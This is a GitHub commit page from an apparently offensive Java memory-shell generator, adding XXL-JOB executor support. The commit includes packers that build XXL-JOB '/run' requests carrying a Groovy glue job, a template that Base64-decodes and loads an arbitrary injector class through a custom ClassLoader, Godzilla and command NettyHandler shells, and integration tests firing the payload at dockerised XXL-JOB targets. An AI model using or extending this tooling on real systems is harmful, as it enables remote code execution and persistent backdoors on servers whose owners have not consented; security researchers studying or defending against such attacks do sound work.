Skip to content

Commit

Permalink
feat: support xxl-job executor NettyHandler (#30)
Browse files Browse the repository at this point in the history
Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
  • Loading branch information
ReaJason committed Jan 22, 2025
1 parent 08ffa47 commit f9eb9da
Show file tree
Hide file tree
Showing 51 changed files with 1,042 additions and 335 deletions.
2 changes: 1 addition & 1 deletion .github/workflows/ci.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@ jobs:
strategy:
fail-fast: false
matrix:
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux" ]
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux", xxljob ]
runs-on: ubuntu-latest
name: ${{ matrix.middleware }}
needs: [ unit-test ]
Expand Down
12 changes: 6 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -60,12 +60,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |

| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty |
|---------------------|--------------------------|-----------------|-------|
| Servlet | Interceptor | WebFilter | x |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |

| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
public class BootApplication {

public static void main(String[] args) {

SpringApplication.run(BootApplication.class, args);
}

Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
package com.reajason.javaweb.memshell;

import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
import org.apache.commons.lang3.tuple.Pair;

import java.util.Map;

/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobShell extends AbstractShell {
public static final String NETTY_HANDLER = "NettyHandler";

@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class)
);
}

@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class)
);
}
}
Original file line number Diff line number Diff line change
@@ -1,14 +1,18 @@
package com.reajason.javaweb.memshell.config;

import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import org.apache.commons.codec.binary.Base64;

/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(builderClassName = "GenerateResultBuilder")
public class GenerateResult {
private String shellClassName;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -81,6 +81,11 @@ public enum Server {
* 中创中间件
*/
InforSuite(new InforSuiteShell()),

/**
* XXL-JOB
*/
XXLJOB(new XxlJobShell())
;

private final AbstractShell shell;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -87,6 +87,10 @@ static enum INSTANCE {


AgentJar(new AgentJarPacker()),

XxlJob(new XxlJobPacker()),

XxlJob230(new XxlJob230Packer()),
;
private final Packer packer;

Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
package com.reajason.javaweb.memshell.packer;

import com.alibaba.fastjson2.JSONObject;
import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;

import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;

/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJob230Packer implements Packer {
String template = "";

public XxlJob230Packer() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset());
} catch (IOException ignored) {

}
}

@Override
public String pack(GenerateResult generateResult) {
String source = template
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
.replace("{{className}}", generateResult.getInjectorClassName());
JSONObject jsonObject = new JSONObject();
jsonObject.put("jobId", 1);
jsonObject.put("executorHandler", "demoJobHandler");
jsonObject.put("executorParams", "demoJobHandler");
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
jsonObject.put("executorTimeout", 0);
jsonObject.put("logId", 1);
jsonObject.put("logDateTime", System.currentTimeMillis());
jsonObject.put("glueType", "GLUE_GROOVY");
jsonObject.put("glueSource", source);
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
jsonObject.put("broadcastIndex", 0);
jsonObject.put("broadcastTotal", 0);
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
package com.reajason.javaweb.memshell.packer;

import com.alibaba.fastjson2.JSONObject;
import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;

import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;

/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobPacker implements Packer {
String template = "";

public XxlJobPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset());
} catch (IOException ignored) {

}
}

@Override
public String pack(GenerateResult generateResult) {
String source = template
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
.replace("{{className}}", generateResult.getInjectorClassName());
JSONObject jsonObject = new JSONObject();
jsonObject.put("jobId", 1);
jsonObject.put("executorHandler", "demoJobHandler");
jsonObject.put("executorParams", "demoJobHandler");
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
jsonObject.put("executorTimeout", 0);
jsonObject.put("logId", 1);
jsonObject.put("logDateTime", System.currentTimeMillis());
jsonObject.put("glueType", "GLUE_GROOVY");
jsonObject.put("glueSource", source);
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
jsonObject.put("broadcastIndex", 0);
jsonObject.put("broadcastTotal", 0);
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
}
}
30 changes: 30 additions & 0 deletions generator/src/main/resources/XXL-Job-DefineClass-230.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
import com.xxl.job.core.handler.IJobHandler;

import java.util.Base64;

public class DemoGlueJobHandler extends IJobHandler {

public static class Definder extends ClassLoader {
public Definder() {
super(Thread.currentThread().getContextClassLoader());
}

public Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length);
}
}

public void execute() throws Exception {
String base64Str = "{{base64Str}}";
String className = "{{className}}";
try {
Class.forName(className);
} catch (ClassNotFoundException e) {
try {
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
}
}
}
42 changes: 42 additions & 0 deletions generator/src/main/resources/XXL-Job-DefineClass.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {

public static class Definder extends ClassLoader {
public Definder() {
super(Thread.currentThread().getContextClassLoader());
}

public Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length);
}
}

public ReturnT<String> execute(String param) throws Exception {
String base64Str = "{{base64Str}}";
String className = "{{className}}";
try {
Class.forName(className);
} catch (ClassNotFoundException e) {
try {
new Definder().defineClass(decodeBase64(base64Str)).newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
}
return ReturnT.SUCCESS;
}

public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
}
2 changes: 2 additions & 0 deletions integration-test/build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,7 @@ dependencies {
testImplementation 'org.hamcrest:hamcrest:3.0'
testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
testImplementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
testImplementation 'net.bytebuddy:byte-buddy:1.15.1'
testImplementation 'org.testcontainers:testcontainers:1.20.4'
testImplementation 'org.testcontainers:junit-jupiter:1.20.4'
Expand Down Expand Up @@ -52,6 +53,7 @@ tasks.withType(Test).configureEach {
idea {
module {
excludeDirs -= file('build')
excludeDirs += file('src/main')
}
}

Expand Down
17 changes: 17 additions & 0 deletions integration-test/docker-compose/xxl-job/docker-compose-220.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.2.0-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.2.0-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
17 changes: 17 additions & 0 deletions integration-test/docker-compose/xxl-job/docker-compose-230.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.3.0-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.3.0-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
17 changes: 17 additions & 0 deletions integration-test/docker-compose/xxl-job/docker-compose-250.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
services:
admin:
image: reajason/xxl-job:2.5.0-admin
depends_on:
- db
ports:
- "8080:8080"
executor:
image: reajason/xxl-job:2.5.0-executor
depends_on:
- admin
ports:
- "9999:9999"
db:
image: mysql:8
environment:
- MYSQL_ROOT_PASSWORD=root
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration;

import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.memshell.SpringWebMvcShell;
import com.reajason.javaweb.memshell.SpringWebFluxShell;
import com.reajason.javaweb.memshell.SpringWebMvcShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.JarPacker;
import com.reajason.javaweb.memshell.packer.Packer;
Expand Down Expand Up @@ -46,7 +46,7 @@ public static void testShellInjectAssertOk(String url, Server server, String she
shellUrl = url + urlPattern;
}

GenerateResult generateResult = generate(url, urlPattern, server, shellType, shellTool, targetJdkVersion, packer);
GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer);

String content = null;
if (packer.getPacker() instanceof JarPacker) {
Expand Down Expand Up @@ -81,7 +81,7 @@ public static void testShellInjectAssertOk(String url, Server server, String she
}
}

public static GenerateResult generate(String url, String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
InjectorConfig injectorConfig = new InjectorConfig();
if (StringUtils.isNotBlank(urlPattern)) {
injectorConfig.setUrlPattern(urlPattern);
Expand Down Expand Up @@ -143,6 +143,8 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel
case Velocity -> VulTool.postData(url + "/velocity", content);
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
case Base64 -> VulTool.postData(url + "/b64", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case XxlJob230 -> VulTool.xxlJobExecutor(url + "/run", content);
}
}
}
Loading

0 comments on commit f9eb9da

Please sign in to comment.